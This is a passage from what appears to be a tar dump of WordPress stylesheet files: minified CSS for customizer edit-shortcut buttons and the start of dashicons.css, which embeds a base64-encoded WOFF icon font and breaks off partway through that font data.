button{position:absolute;left:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,1px 0 1px #135e96,0 1px 1px #135e96,-1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{left:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{left:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{left:-30px}}css/dashicons.css000064400000171631151202620300010021 0ustar00/** * DO NOT EDIT THIS FILE DIRECTLY * This file is automatically built using a build process * If you need to fix errors, see https://github.com/WordPress/dashicons */ /* stylelint-disable function-url-quotes, declaration-colon-newline-after */ @font-face { font-family: dashicons; src: url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800"); src: url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"), url("data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAHvwAAsAAAAA3EgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABCAAAADMAAABCsP6z7U9TLzIAAAE8AAAAQAAAAFZAuk8lY21hcAAAAXwAAAk/AAAU9l+BPsxnbHlmAAAKvAAAYwIAAKlAcWTMRWhlYWQAAG3AAAAALwAAADYXkmaRaGhlYQAAbfAAAAAfAAAAJAQ3A0hobXR4AABuEAAAACUAAAVQpgT/9mxvY2EAAG44AAACqgAAAqps5EEYbWF4cAAAcOQAAAAfAAAAIAJvAKBuYW1lAABxBAAAATAAAAIiwytf8nBvc3QAAHI0AAAJvAAAEhojMlz2eJxjYGRgYOBikGPQYWB0cfMJYeBgYGGAAJAMY05meiJQDMoDyrGAaQ4gZoOIAgCKIwNPAHicY2Bk/Mc4gYGVgYOBhzGNgYHBHUp/ZZBkaGFgYGJgZWbACgLSXFMYHD4yfHVnAnH1mBgZGIE0CDMAAI/zCGl4nN3Y93/eVRnG8c/9JE2bstLdQIF0N8x0t8w0pSMt0BZKS5ml7F32lrL3hlKmCxEQtzjAhQMRRcEJijhQQWV4vgNBGV4nl3+B/mbTd8+reeVJvuc859znvgL0A5pkO2nW3xcJ8qee02ej7/NNDOz7fHPTw/r/LnTo60ale4ooWov2orOYXXQXPWVr2V52lrPL3qq3WlmtqlZXx1bnVFdVd9TNdWvdXnfWk+tZ9dx6wfvvQ6KgaCraio6iq+/VUbaVHWVX2V0trJb2vXpNtbZaV91YU7fUbXVH3VVPrbvrefnV//WfYJc4M86OS2N9PBCP9n08FS/E6w0agxtDG2P6ProaPY3ljaMaJzVOb1ze2NC4s3Ff46G+VzfRQn8GsBEbM4RN2YQtGMVlMY2v8COGai0Hxm6MjEWxOBZGb+zJArbidjajjUGxJHbgUzwYG/EJPsNDfJLFsYzpXM6Pmcd8Ps1BvB8LGEE7W7KSzdmGA9ifgzmau7ibcUxkB7bnHhZxb+xDgw/yYb7GU/yQp2NgDI9xMZ61sWVsFZtHkxb5+ZgQE2NSdMYmDOM5HmZrfs6H+Cbf4bt8m28xhb2YyjQWciDHxk7RGg2W8DFWxbyYE20cx/GcwImcxKmxWYyIGXr3l7MPp/MAn+PzfIFH+Co/4296Q2v+wdvRHP1iQIyKMTE2ZsZesW8QSzmHi7mFK7iWsziTs7mIG/gAl3Irl3Az13A117GeC7iSdVzIjdzGMXycP/ITfskv+B5PRk/MjT1iCPuyLAbF4Jgds2Jj7uOj7MmX+DI78hfejBa6+Kxmekp0s5TBXM/kiNg29uaNmM5p0c6fmMmMGMbLMZS/8w2+zh78lPFMYFvt9Ul0Moax/IA/s5P2+hy6mcXO7EoPu7F7bM1feSR25wzuZAN3xBasiJGxDSfH9pzLeVzF7NgxtmM0+/FK7MLrvBNTeZSXYlP+wO/5J//SV/2O3/Iiv+EFfs2veDf68xHOj53p5Yt8n72ZG6MZzhoO5wgO4VCO5CgOY3VM4S1epYxdYzKP8QSPx3xu4v7o4Fmdydbo4j1eo+IZbdaW/+Gc/L/82Tj/0zbS/4kVue5YrmzpP3L1Sw3T+SY1mU46qdl05kn9TKef1GL5J6T+popAGmCqDaRWU5UgDTTVC9JGpspB2ti4TOMmpmpC2tRUV0ibmSoMqc1Ua0iDLFfwNNhypU5DTJWINNTQGqRhFos0DrdYrHGExUKNIy16Nbabqhhpc1M9I21hqmykUaYaR9rSyM+7lZGfd2sjP2+HxRKNo01VkTTGVB9JY40HNY6zyGs23lQ9SRNMdZQ00VRRSZNMtZXUaeQ5bmOqt6RtTZWXtJ2pBpO2N1Vj0g6mukza0VShSV2mWk2abKrapClGvtumWuS1mmbkNZ5u5HWdYeQ1m2mq+KRZRl7v2UZ+9p1M9wFpZ9PNQNrFdEeQdjXdFqTdTPcGaXfTDULqNvK6zjHy+vUYed5zjbwee5juHNI8I++f+ca9GheYbiTSQiOfp17TLUVaZLqvSItNNxdpT9MdRtrLdJuR9jae1rjEIu/tpRZ5/y6zyHPZxyLvkX2NtRqXW+R13s8i780VFnmdV1rkc7+/5SKRVhnPazzAIu+7Ay3yuh1kkffdwRZ53x1ikc/0oUY+f6tNNxTpMNOtTFpj5LNyuOmmJh1hurNJR5pub9JRpnucdLTpRicdY7rbSceabnnScUbep8cbeb1PMPKePdHIe/YkI7+fJxt53muN/L1Psch781SLXPNOs8h74HQjv4dnmLoL0plGXuOzLPL+Otsi781zLHINOdfI8zjPyPM438jzuMDI8/iAkedxoZGfcZ1FrlEXWeSzebFFPpeXGLlWXWrkfXSZkffa5Uae3xWmjoh0pak3Il1l6pJIV5v6JdI1ps6JdK2phyJdZ+qmSNeb+irSDaYOi3Sjqdci3WTqukg3G29rvMUi3123WuQ74jaLfEett8j1+3aLXIM3WOQafIdFrk93WuQ9c5dFPmd3W75G0z2mbi8/ah/1fRRh6gDV85t6QYpmU1dI0c/UH1K0mDpFiv6mnpFigKl7pGg19ZEUbaaOkmKQqbekGGzqMimGmPpNiqGmzpNimKkHpRhu6kYpRpj6UoqRpg6Vot3Uq1J0mLpWitGm/pVijKmTpRhr6mkpxpm6W4rxpj6XYoKp46WYaOp9KSaZumCKTlM/TNFl6owpJpt6ZIoppm6ZYqrxpMZpFqrvxXQL1fdihoXqezHTIq/TLFOnTTHbUJ0tui3yGvdYaH3LsNDXlQ0Lvb5sMnXplM2mfp2yn6lzp2wx9fCU/U3dPOUAU19P2Wrq8CnbTL0+5SDjTY2DLXe95RBTEqAcasoElMMs195yuKH6VY4wJQbKkabsQNlu5O/dYcoTlKMNrXs5xiKvwVgL9RblOFPuoBxvvKFxgimLUE40VCvLSRb5Z3aakgpllymzUE429J6VUyzynKYaL2ucZpHnPd2UcihnmPIO5UxT8qGcZcpAlLNNaYiy28jPPsfIz95j5DnOtfybg3IPI89jnpHnMd/I67TAyOu00JSzKHtNiYtqoSl7UfWaUhjVUlMeo1pmSmZU+5gyGtW+prRGtdyU26j2MyU4qhWmLEe10lBvVK0y5Tuq1aakR7XGcq2uDrfIX3+EKQdSHWlKhFRHmbIh1dGGamh1jCkvUh1r5GdZa6E9V51iSpNUpxq6d6vTTAmT6nRT1qQ6w5Qnqc405U+qswy9l9XZFjo71TmmdEq1zpRTqS4y8jpdbLyi8RKLvP6XmvIs1WXGOxovN2VcqitMaZfqSuMljVeZEjDVjaYsTHWTKRVT3WzKx1S3mJIy1a3WN8fbTOmZar0pR1PdbkrUVBtM2ZrqDlPKztdlH+Vt6jAlb+qG8a7GJlMap2425XLqFkN9Rt3flNWpB5hSO3WrKb9Tt5mSPPUgU6anHmzozNRDTDmfeqgp8VMPM2V/6uGG9lw9wtCeq0ca6i/rdkP9Zd1haC/Wow3txXqMoV6zHmtof9fjLFRH6vHGWxonGK9qnGiUGidZ6EzVnRaqR3WX8ZjGycYTGqcaj2ucZqFaUE839N7XM4z7Nc60yPOYZTyrsdvybyfrOUZe7x6L/PPnGu9pnGe8pnG+UWlcYDzzb8iLsxoAeJysvQmcJMdZJ5qRlZmR91F5VWXdZ/bd0511zEzP9PSMPKOrS5JHEpJGI0uyRbUk27KMMMuitVU25lgW+cAyuGt3f17A2Muaw6bHwMIzC5g15jFlMNcaA7vAmp41ZtnfW1h48PbVvC8is46eGZnj97qrIiMjj7i/+H9HfMWwDPyh/wddZTRmnWEaYbfj+cl/F4dYcErIc7BgIAHDv9ftdDtnEASbkL7ZRS98qimf8DXL84pOsbr/qTWMc6Io59OWVFC0WiVfkDTFUbEr5kQX/8mnmgpniLqtmTzGQ7gb0rGH4Q5NKuTLdU0pSJZZUDHOY0yKFpfvV9CvMCpjQGyziBwdVddQaxvZbYyY7uVO5/Jzlzvdy898EP0KjXYuv/mxzvi3Pvt68ih9fohGTJph7GjTKyBHWEa4Xas2T6NWZ3DoFYteNIjcYhGNiu4VtzgY0MMk7y+iX2fKTASxTrsTNsMmruIN2hg4aZJtRFql20GdbvLv+cW4vdBvI4RYLKqYU+or9XVPVZRUyg/8SMnUcjl//ICnYlHgJT29YkoCVvOrC+iHUqwoSIKEkODnc7WMlgm8IMOynpI51lipj39AdxQ/LemylrKkak3J8VxS1hHUM2SOQT/WBOzjUMBurd0McdhthrV21OmGXb/TbUeu53d97PkR3uy0mlXB8dDoONYXOgte0At8OOq42xWMhU7o5XuBB0ddOP6l8urqzurqKOeH8Q30CT/YTZ44flzQQ5LwArltZ5UUKUXL9Qvo5xmJ0UkfICgWlMdvR9h3K22/XXPRMMx99KO5X+i3hsPx1VEfNZPzaGF/f/+lwWD6nq+i/8x4TJU5DnFoYQPpCAYs1MBATRiW28hLkVMyWh2vg7sevWWNpdd8GMzeJvqsaxhu6J7IP2uW18xnsU5OTvz2PxctX/xO0fTVZ0VI8o6fWIb7FtzjhWetyir693AP3KjjZ821svlsnpwYxvhL/1z0TYRpGNFUT9eXZ7dWSLE5WvZr6BpjM3lmielA/7RbzWUU1nCtKsCI9KLKZifc9Byh2mx1/MiKI9EmNA+G7pqcop6hLFf71WXZMGTEKMYw12i0m83RgISBgHv9KI4dXpGNKDJkOBifbLbJXeH4L+nd7LvelXuExqBYUjzJ0G8yPKPADHOZHIz2BrPIQPch2lMGCtswWqCjfHJeilMbPgwtGpArFdKNb37zm+3BINj7+n5/t4XpyX+n4XjQv4r6/auDFmq10H1PPGE///zWQw/bly61lpf3Hn88/fzzaRpGj1y69Ah8dyL4S8b076P/RtuN9jiGDjfYGoznDkw7bzZ8fyJrWdnCPfVjvWYv+6tprZA5dy7UHSfvOOjnsufOZgua+aD4ePQfG68twK3fQi7knckcJ/QhRdqia1UsPnIrVjREzPhwdJ2JBqg3Pggi1EvG4GfRLzMYWqkGcWiITpHF0Dow14GqkG46g9qtbscnFwyE7rv/2P1CxuF+079W0kqFzFNlpewpZSx9FpJtHt+P3gd3YN7xW4VrriaJZcWDW96QLVQvQbKdEe5PaNgfoD9mYDghyKxJhzWZSJTINGOiHHY9Os6Rsv6D6+6G5Vi8trZ9B3ayaU/W5LSB79hedzbSdppHB2s/sK5xEN1wyS1GWtYkP51x8e3bSfp0zo3QFRgXy8ztMGqtVrNWqQquFY/YRkSG7DKi4/M0qpFBugXV72x6rj9/VkDzd7bRyFDGB3QM9xTjOpNVDEPJirI4jQwCcjXACg5IEon0UYukja9C+F2GazQFDFWHyMsk8shNKZN5N2IRrB0R8wBzGVaAqo6cItrcRq015OsIr6Gw021WsQALXgER6t6EZux2Qph7ReRvdrpeClK7HZg/zRDuhgMl8ckS6cGITAG9F3Cne7j97Pb2s28nwTt535RWSrwh2YLEsaInNyqcqAeSXpDa60GR5QwO/x92iuU5JImKUMAqdLaPc4WgYpXltMln3DvfbZQk00McyyRvheCjVh6XI81SBFGxJA1xWgbZnosUxcgG9omKKWrjrzielrUlQ8EplktxUr6TFnguldILS0iqr4Tn0JsESTM4RWFg1s/aaAFWjlPMG29oJRtinS40BtS0RhpICGmjkVUvJO2jo2YXmsrzyaXmOnLXYCKQxvPIdCUDFK7FLUf+BZc0IcS2WeiAuTZTeUlkeV3lUq7Ga6JTNNQ0JxliKFsPWTlWQk7uQmpTcQRsBxBWNZ9nWVZjOY7n0rwoaBiX/BrmIDGFrbKSYhGbUrx7X3/M9eebcPxLWEKiyIoFQ0urCPE4lTJVhDmfFwsZS87ZXAlaS4BLLMe77xQMSYYsDF7UeFbiBMnzcx5b9FRXF6DAdU8xpAa09tqWZTptaE5rrk3TTIYpAK1YYNZgDJ5gdpjzzC5zkXmYeYx5A/PMDW3NR55fa3bbMLIAXvm1dujWyFgjIYZvJPiRW2v6pAlDWELJ9D+N4ABXyHUYpPCGELoJQpKSglO4kzyJ55p6/Ndnkdg1vti0RV6V2Mdqtwui3XyMlZpnOaMrBo9dlB4l1565wEP6ZQTpKfO4yCLpuJFqrqn+sfL/8tXVcnlV9TdKf+lrq+Vj8038f9eqlR+7z2hoeq1aO/8N9xla4w3na9Xz9Ur1wvnqbffqDc249x5I1b8hSa7Wq9VKfa9e8JbPFurL4/9aK3or54q1JW9Kh2h7nmTuuGl84s5kbIUwKEndaSQeeHS0wsgssnS+kqGKJ3fPtUjwNGAuXUqrvMilMvbpNdYo2Xb/LCBRjktrupgXZFHXontdG/NVuRMoJtAkTeXE1JGx9fndlapnq1jGHAFfkrxoq2pu+96Uk81nChYrcDbisF7K6apsqvfV1pqXli1d0hVBlmd49zfQFxgHxg1DAE6yqjRhvmAfIA3vJase+nj2Qvm77E7T/pimbZ4t3XXHXbI+/jD2DMMDBJTV9Y/Zzbb9L8rnN3XlrjvvKu18GhsE/Uzz+RlY9xxY6xlUJQ2yDjO5s+l7CdjHXUDbBTqDq+RiGzB3hBjH0CSBSwmW07MtPgUTQjWcC4VOOVerHrv/WLWaK7ZLyNYVW7e0Zr5czjc1S7cV/dx6tZPfwRIviryEdwrtygSffwHquwXHJmE0CKILm8YU2QHJIFgWlxCBr9toHU0uzI4Avj+j+2njkW2T41Kav6Zxosw5mllWXjl5SbtvLS3sfFAVRN5NYSWluT6HZdYIntR5AX1GEwT99QHQwxQGTKqlZIFzBcxrr2wL6bX7tEsnX1GrmuZwsshpGz45GKcfUhyfFF2gnYbRb1F0WwT0vcXcyzDtShv4AjZcY3G74ls1i9cJAWwDCoXx522jNehZD+gfjM5tBHO9SwhqkRDOW6QhZvtU67zjpHffsHmdObyKHta6gSqaq25g38/JmIUVBF30o4zAszLPLVRsJSVLbErncmdLgsBKAt9ZDdI0zY6w6dkPvKm1cVtGw8F4iPq/EdiaID1hibLW5VNIkgUkKk8akoBkmUdQXM3iWUHm/K6t80iCvJBQtHI8yytceYoTrgBOSAEygkXFrrQrqF1xMRx7qA95RACkaGQAseGwH83G+uQ5QBcVyydPHoyHMMyuMwckgFv5G95vAB6kediAOhsRBPDlJ3kdHqJsD/7G1+Yy3IuG0X70NcpaQNOyQqZHizp5Zjh5pgsd2k3yPdwfAZOyD+hkfPUK5DKXx/T+Btwfwt0ufNHBfmv6wLWoFTGvXj9aL8imFlGIHZevB+HhoNdLyrgfDYd/R91c0qoDWq8oadoj/RDjpF9DP8eYwFvdxzwKJRZqMOXJKh7BEg/TrNuMuX/AcQnPGwJMAoq6eQYR8ttuwVivEaLhRICaYKDDNexWAQH4ruN1XU9nARG2W+jDd97/lsspjl16+vjqgw0eL6dDI4VYw0hjWQC8YhhfcRd0Q4ZJVeU4nWP5XC3dyJR4vAJPuYEmppaW/Ry7cInlJEvWjG8tdRCXaoRBFgkpX+RUJMC6X5M5xGqNFrLSrsyyJU7Scj3ADRmF1dM1zPOsZrCaZfKmGGaUbO2fyWo2rVjmMsOIU16atKMJPFEWaHEFuCI6RslIwW6U8GptwLpd4K3dyZe0+WjcR3vjq6h1rUdY4ZNucbhH/0hahIZwuRf0epSfjqKimw32WnvBXjDpw2uzsYMIk1yxKg3CYR2OW1n6dDBEw1arB3MkCBIaegXKKxIZhwUcAhDKw1Y/OjiI+lCYUT84OAj6zFQecgXtkVFnEylAOBgM4EbUHwyyBwezewaoRWYo8DhosNdH0f7+7BrhCURaNpoVnuWBgiTb6b17cC9P3kNuTXJBcZ7Te3pQHpZKn1APhvPe1x/Np9uuhLRSEYribCaVO5oH4YF8PKRZJDlMrtP3A8CGyYr60/cnbdaoWbQa4bT004xuarMG5X6TCgxvarMeyecM8g/2+gfD4Q3pCEco2BtBHae079MwroDTtr2YlfO9WIBEVgmSoBOWhEJt36OAu0kQ9e9hFokqm0qrvl4IZN8vFng+W1jffMtl11akU43mDm4sSorI1xcUBf1ECnNKWjYV0ZSCjKDywtnOyehksZRqbyxF6/c73idMFKQ9RxcKlj2hR59Evw6UKAPlC2kJfbIA+6SJ12FMYJ+MfsLUhZMItJ/fjRp+F4e1b9D1Vmlrq9TS9ai8tVV+dOnUqQdObS3HEqRzlfbZ+s74z8qdnfoO+mfxfeT+cgT3/+KpB7fg5mwsRMqfUL/3xHee0D54ImmzX4dylZglIg9gdZagO8p9bLNrrE4Hmb/N4ma7u0EkFd0memzzJI4uv3mjvqktSQvFxgMXQn717gcu2Mdekteyl9+8LaJstvcC4tBPwtkbTuIgfbKeK22aNr0Nbm5m7v1gZvOk8EdY4V988WIHsTOaPQLqKQIuNQFHQf/CZOVxFEbJl5AKBOtYfzzid8SI38HwFccjSrtHe9ksjCHyd53IF2MsgT6PPg84YoFpM+cASbyRoKIEruKQoB0ikY3FskB6IblBZbFwreUTmEi6gkoHZidCtZtgSALunG6z1gFcAo8ChiQUXgBSHTkEVaInK2mP01Sd812loe1oWtrQ9ee0hvIRT+fG/zMSTE67y+QcQXiO1yX+OUFbmkQ5/RMQkYXnBD3FvVkWRbG44KQkvZ7VBEtkFcWtB/UsSnNekE2pluundX0HOADHAG7gLZr2MU7XT7R4XrvPFPQXBI17q6Bq3HMCWhLIgcYvvJVX9NRbgHgbb5btpbyIFUkLmpqAjaLipoNcY4Yr/jX0jUAkJg1YjmqwBLVblC1YQ1XBdQBmFaCVSIetIcS4xX7xxaUqAt4x7Zt8dZnNuyjyC0Cb3eJvbNW6MiuximXBlBK7jeN+KO/siM052jAkXB8iazX5EqFeBfKroUGvD6uOjvq6gvot+NOV0UjRp/Laa/Ac4Pxuxa3A6mi1OhHQeiLR6loE4xNJy2aHiqBg6pTJUTGMbWA94NOLVkuoVVodDwHVP4ICgqvHhzwVnKPp+2FCo8hK3r6FrBp5e1RBwyh+5+EhkbCgAGDX3tz7pu1I3nECxiJjAxyB8rnwOSr3EWoTAVByrIaThDYVAfkTMd0oWi/6+cAtFt0A8tA0CKJJJFgtR0PZIBwKOjyIiuue1ysuFUmSfJyjwp9WHHLHyWEvW149OKAMjZHMHbJmS4zP1OnseRuUmXR1t9PuNP1OE2oOk8GLNrudIxxkqhpLdoC9idUL3dm923AVGKFOd9PBG0QgC8QYLpK51N10McFDRC5C2CcBw6vpC18omTkO4ccE3TVyHBYs3TO01e7j3e7jz5Ggu3B7lrO4Uuvhpx9utR5eFXTHDDiZswyn+GjzfMbyMR8UzaKt8Szp6nwG81kvqBRE4XgtYxpcfmV1c/2e9fV70JNL3Ubt7Z4gCx/JlV1rJe2kTbSc5APB+IVCjnf5Ns0IgrfTu2yPrSOpnGM5JH9T2t/2bKyzqRTiX0wvV8sriqyXuML6Pa+7Z500a6KIgeGgAhJqAq06xewyj9+gjfHnmxQfvYKLMFbwNnCQTUzGARkPRP9A5RxRi1A3gw3pCghgdcLOI+bC286ff9t3k+DCuefPnn3+3SQ4t/XU1tZT30SCZ1y7FOpBZeVyaWVle2XlHs0xVMyzbNk1sqrU6XQaviXyLMpxItZVU9FYJnkhBFryQgiyyQshWFHxRjnwhIVcaSUgL91eGRiCqaU1Q+3kHXiZ224j18w5vl0PfJrfhHZfgbki0hm9GNNuuxVCq0B9u5MIbpOpUIgT5+I+UKcbphE8MFHFbVJYsA3tOtE2uXHznkZTdd1hVjZNx9gL6BzaiydGcuhvLPhlL/DK/sKG7S6JtqfaVaJFEpcWDkxHXZIqtmYcu/j6i8d0wy5Ljqc66CCTkwuuacjJ8b2PKIYpHw3M/Lp+xvR9c3eXhGf09eOer6WwxAkCJ+GUtvoWIWWxAD78Xn49l1vP93zFklhRSgkz3oOsoz5TY9aJlHkiR25S4gHw2sGU3vAVEtYqFHbPxxNqBDdCSHiMLn0DunTF9DxzkfXMwPTYRTgZ/+85IXKdKFAM5ToJtymVySe35uEE9aCxME8qxWPSdnFD9uLDruEZk4sQnfAMA6iHDr2/ypxmzjLnmTuZHh0DzXUK59xkJMyfpqgmKB4FUFs6JubPw66LzyDXQPER/6Eqaqqii6q/6g1VUVdUTVS9Vf8VQ45IdSLZGNKQnh9GwBomH/QmM5t2LctNZ82sbWePnI3/dkQeGZFXTGMfCSL6DzglaMF3uq78FNRznWpkiEIG10IhFov7BE/4AvbbaywlpmSF7dJlF2gw+u6qFBiR95rcbV7HCKSaZbP8Yg4bUbCqOCvbq7a8FrRNKb/IszZ6In1XzQvYwSCV82p3WxIyjcoZ05OffJ+49ZqtWg0C8QOvF7PmTsUwETO3Xo0YjeqLAOz4wK/FiNoOuyGGDyBXDGwPYo7dv1Qe991cUC81R48/rpwU/lCNxMcfln/gY2i0Uy6PD1HgZJy86Yy/4+7b5cpz2jdmxNvvVJ5+dkoT0RfRLzH3MA8xTzDPMS8y38F8ANAGUeKtI4d0sJEIvdsT+NUlgxNaCNqDDtFooh1JjvFAjm8g497zw8nS2Z3QTaLFJAMDhhGMEz8eLXESzJPO5Nyfi6Nf8FbP+KIqpSVbIpyApIr+mVXPdNI1lq8EelPiyJoMa00LviTKSaEWVDm2mguuSSYZ9A/FS/N5HtYm+Ka4gHuNxO3CJBd2BfzILtG5kKBEcQgJ/sbfWfW1Zt41RYUXVNF0cw3NX93xZU1eP6nq1ZMuLDuwxGvkWS0O4ZQ1BPdkVVdPrpvWU/F8i+LDBzgVgA+f2hGwCAhzCyuiqOAohkMJLTlEf0TXKTIHATtTxEygMqxDs5NOi5g1kI6aImPPwfz81IQGRYpSVt5PFHLvV9BptaS+T/VJ3HwjSXvjGlHlvZ8E4y8roqpIiiA5hlhFv6Mo71dLPrl2WonvgOD736iUfRWeou/wS+p70jnbteyMHeh+fiq/eRl9gXHpCsKQqUREr2GXcDmeTway3zQQgTCwWgKxCCn2wB7KfmN6uflAczn9gn6ieSbKamo6WN/4pgyAtoWglmnuOIG90/R8M0QXf6Pu2bZX/0Imh+6ub7iKId6lvmOFy6653x14q17AF1zgZyhdZpk5mZTP5IDzqgE/uAyzP2K6zBZzhmEIYvVr7Wjyxf+AOJGYUElWP4r2WsB8R6NXj/SJwAr+WKZHDtGA4OnWII7T8HCfxOZli7/KNJg1qm+Pp2IN+y4O292wGuumCBtAFk8CCrsA9SiAaaIDzcooQdpeNIMgveza2YyMJZF385X1zQvbJfOgHqqNVkMN790pe0Vd5FIrlV4+36uspDhDlUwtY+1g4BV0jNGLJ+85duy+4zP53K8yAZUUE9kKnqAeKMMWonpcWlLCS4fT4lw8HgTH12F9S/mF4nJYDJeLBT8lOO47F+FvUhbE9Or1nuo7DX+bZI7gK2z7DccX0ouL/+ekGNNyjKActzN3Q+uQpqkRAUsVC3F7dD1SlHYLmKcuEUEkIIOQNShTZ9KcIVGdxv8wZXwoNBqaWb2EspcvZ08WskG5ura4uFYtB+O/MhqczYsqLyqGnQHWTeMaJUfLcBxiBfNZU2ARx2U0Z29ra+tQF1KpzusuHw+8E3eIooAR9JUo3tE5rwoZK6jwgoB5nLJM1RRULKT0QFP8ghmGZsFXtEBPCXgleOWV6Ti4hgYwgksQq8zsLU4jAKExiCCWQJDkuUT2TMgf6kPI6+p4qOq6ivqqjgZFl16C4IAkDhRdVxiqtKH2A7GsZImi4/PMa5lLzOvi/CbacuC/mqmbpCYz8cnXuBTjQapXnyZ2iWxhcJ2hBSThoWbZvp3Wjhx6WhoIDJxNDukgnX7O9h04rUCib1vZ67Cqo9F8ZcffBhfgcxluBJj7UHw4uCExk7Gz/vdoaUe5RILjSfpDpEm0ZC3+EtCN0hF6cRsdc/cy98d8qXV0DXRrFBWRvqkK/lzcJis5kIstRMThkYtviE8oC3Dc437PL/l9+B7GK8NBfKBkBpjwPSApyWFICQsajgdokCVwLkvDHbKE7ZD1aBobfwuRm1+jJCdLiU1Aw2iCBW6u6z+sfu2K241VCvQb1wMwaB/A5y3qMWwNSbn30d7fUe5XDg+zV+gfMzcfRolNDWBnGJ90EsTygW6UmhrVDO5WDVMZP6uYhnp3rx9RId4pmOHq+DeUdFpBa6oZjQ9OPXgKPvP2IsSWhtjbkXpYNVxzuxPbpmEPDa5Fg2ul1dUzq6sIyDaMvqB1OEpMxhKbDfRtgKhX6FxiGk6i8OzW1lhCtWsTdEwbNIrDuB0rVMHmT5lMtAMtCA14eRGv7VTD4zhtFx1NbGzWL9Y3G6LmFMb/QzpXcyv4E9B+Jd//KHAJ8MRT1cgTcadZtCu6k200suTr6EW3VKvLQtknAww+Ezz8x+h/EK1fN5HeAl1M7EO2UaxXpclNCgmbVIabcHaYGlRgYi9IFYRHokKUvufC3T1b05S8bsmOKWmeKuCMVlJ9N49QvaaJMse5Ws4GUq+noctLxYqb9pfrHOIlrr6SNhdKHMvLXDFsWOkFs1qK2mWvUijIImfpHAZ4Y2IuhQQ97aTLnKcVlBNphfV0gDKqKRlmRpJUtbyaSUkim8qs5ooLHitjlnXDO7bOMsxMXzECxFWFsc90owln1rYSRo6M/gqu4ckYiKaD4XDCgFF+pacYaLd/qMVd8Fcm6TiPCngUxNBDdLDnQdrkMyfnGhLrLbtC5psPE4hIzPoHrSsB6sH46rUOZ7wmKWuBacIsPU70OVQoUaWrF4YjDjuzczQpKD81zZtE0EglUNXUntXKgdBJERSr7qJ9hYLk8X9SiA7e+P4YM0doS8joZPEwssIPy2k9lCRidqr5+DvRIIa2B0f4y+lcGs3rEOk/mVOjvagf7cWKpGB8OBrN8T5lZgNijoCtCmE3OpSB9qnoipySo1tEKQt7iZghJLo+jEaaMn7Hm3hoVtSAZRVfNjwT0IuibTwoQEcsKjD0LqKPKg43/sSPSjIhNxxvquxH1LTpp1Ip3h7/S1T4PrgCTDebxuy75nEY0c9QCSkwhW7oRlPhEGI2Lh4bXdm4+OT9x47dj5iDYxc3hleOkZMnL27EfDXLoDFgz1Wmw5xktplzzAXmLoKOPaoogVkkEDRPBN3rKBFzA49HzeLaa6gGM6wm+EnHbRoIkBU++kUbNaOUV50sQimOrWP8VdEVfxnjP8Oup7/DAGjCskjVJE9Vc/eLtIt+KP2D6V+efn/A/lz6B230V3WWwJmMq+bKel104QX4l+FVXxXP6S8Zdk5VPUnTUIpNWSLtZwueege84aW571zfEz6mfoOczY4lbLG0DZgC7APLsoEdxBx/Xbf7uudJcHzpwtLShQdIkEml0Au9LNRslFyEYLyfXIXgO1MIdS6++CKvzPPQQ8CGZYbYPLeILBSTgErN3RjMAB8adgkf/SJ/aqmwoRpK0EzVVtp1BFh7/Zcu1teerKPAkJdOl7N8Iyezwma13ulcaH3gtfW119fn5m3lVXLZQu1al8xlSsdvzOZS74UXdh+BrG7OBK70IKN52pCDY+vVq4Lenjq1VNzQZW2uEqsoSFn80mngZ2flvz2a0pFfR78FfXMnc5H5ZrLSUeUCwWik3JR+ABV0CblI6lJt8gQwd6iomTAePiH1XWroFQe+12k3G1N8Rwu8jNzYaN2jGgtPoAnkCpEeVJv/SpRVCTCwkTZYRVUV1kjDoiAi2VnLK36KXauH95cKWSwWyk+t5DVdFRSFNWXTcPzU+K+XycJ9SknBQ1gWJUmRiLxZSxsp8i6k5SWJZWWlgHlN0bEti4Yo29iQDf4Zt1jAjeWF16TTWi57d2OhWDf8vJk2RU1CuiCzrO8ET8bI4EXexrqi8bgAr+NkKS/y8Ir4dbM1hPQTBh4TRl03AcyNmA2HlZ2qRKKQtK4LLdkvekRnMx4V3QM4/H7YbofLGVtR7MyAkNknHRKOogc2Lzu5x4LpuP499HuA0pcSucBUnRZLBKhdEZ/YLPqxgeMZFKLPOW17HeYrdjEeiI6YFkVjzR5/ryMJMi9aaddVV1Tbeddl9Dn